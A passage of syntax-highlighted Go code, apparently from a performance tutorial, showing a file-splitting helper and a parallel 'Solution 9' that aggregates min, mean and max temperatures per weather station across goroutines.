&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>] = &lt;span style="color:#a6e22e">s&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">resultsCh&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">part&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span>, &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">splitFile&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">numParts&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>) ([]&lt;span style="color:#a6e22e">part&lt;/span>, &lt;span style="color:#66d9ef">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">maxLineLength&lt;/span> = &lt;span style="color:#ae81ff">100&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">st&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Stat&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">st&lt;/span>.&lt;span style="color:#a6e22e">Size&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">splitSize&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">/&lt;/span> int64(&lt;span style="color:#a6e22e">numParts&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#a6e22e">maxLineLength&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">parts&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#a6e22e">part&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, &lt;span style="color:#a6e22e">numParts&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int64(&lt;span style="color:#ae81ff">0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>; &lt;span style="color:#a6e22e">i&lt;/span> &amp;lt; &lt;span style="color:#a6e22e">numParts&lt;/span>; &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">numParts&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">offset&lt;/span> &amp;lt; &lt;span style="color:#a6e22e">size&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">parts&lt;/span> = append(&lt;span style="color:#a6e22e">parts&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span>{&lt;span style="color:#a6e22e">offset&lt;/span>, &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#a6e22e">offset&lt;/span>})
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">seekOffset&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> max(&lt;span style="color:#a6e22e">offset&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">splitSize&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">maxLineLength&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Seek&lt;/span>(&lt;span style="color:#a6e22e">seekOffset&lt;/span>, &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">SeekStart&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">ReadFull&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">buf&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">n&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">newline&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">LastIndexByte&lt;/span>(&lt;span style="color:#a6e22e">chunk&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">newline&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>, &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Errorf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;newline not found at offset %d&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">offset&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">splitSize&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">maxLineLength&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">remaining&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> len(&lt;span style="color:#a6e22e">chunk&lt;/span>) &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#a6e22e">newline&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nextOffset&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">seekOffset&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int64(len(&lt;span style="color:#a6e22e">chunk&lt;/span>)) &lt;span style="color:#f92672">-&lt;/span> int64(&lt;span style="color:#a6e22e">remaining&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">parts&lt;/span> = append(&lt;span style="color:#a6e22e">parts&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span>{&lt;span style="color:#a6e22e">offset&lt;/span>, &lt;span style="color:#a6e22e">nextOffset&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#a6e22e">offset&lt;/span>})
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> = &lt;span style="color:#a6e22e">nextOffset&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">parts&lt;/span>, &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="solution-9-all-optimisations-plus-parallelisation">Solution 9: all optimisations plus parallelisation&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// r9: all the previous optimizations plus parallel execution&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// 43ms for 10M rows (23.3x as fast as r1)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">r9Stats&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r9&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">output&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Writer&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">parts&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">splitFile&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>, &lt;span style="color:#a6e22e">maxGoroutines&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">resultsCh&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">chan&lt;/span> &lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">r9Stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">parts&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#a6e22e">r9ProcessPart&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span>.&lt;span style="color:#a6e22e">offset&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span>.&lt;span style="color:#a6e22e">size&lt;/span>, &lt;span style="color:#a6e22e">resultsCh&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">totals&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">r9Stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>; &lt;span style="color:#a6e22e">i&lt;/span> &amp;lt; len(&lt;span style="color:#a6e22e">parts&lt;/span>); &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span>&lt;span style="color:#a6e22e">resultsCh&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">totals&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">ts&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">totals&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>] = &lt;span style="color:#a6e22e">s&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, len(&lt;span style="color:#a6e22e">totals&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">totals&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> = append(&lt;span style="color:#a6e22e">stations&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Strings&lt;/span>(&lt;span style="color:#a6e22e">stations&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stations&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">totals&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprintf&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r9ProcessPart&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">fileOffset&lt;/span>, &lt;span style="color:#a6e22e">fileSize&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>, &lt;span style="color:#a6e22e">resultsCh&lt;/span> &lt;span style="color:#66d9ef">chan&lt;/span> &lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">r9Stats&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">file&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">file&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> = &lt;span style="color:#a6e22e">file&lt;/span>.&lt;span style="color:#a6e22e">Seek&lt;/span>(&lt;span style="color:#a6e22e">fileOffset&lt;/span>, &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">SeekStart&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
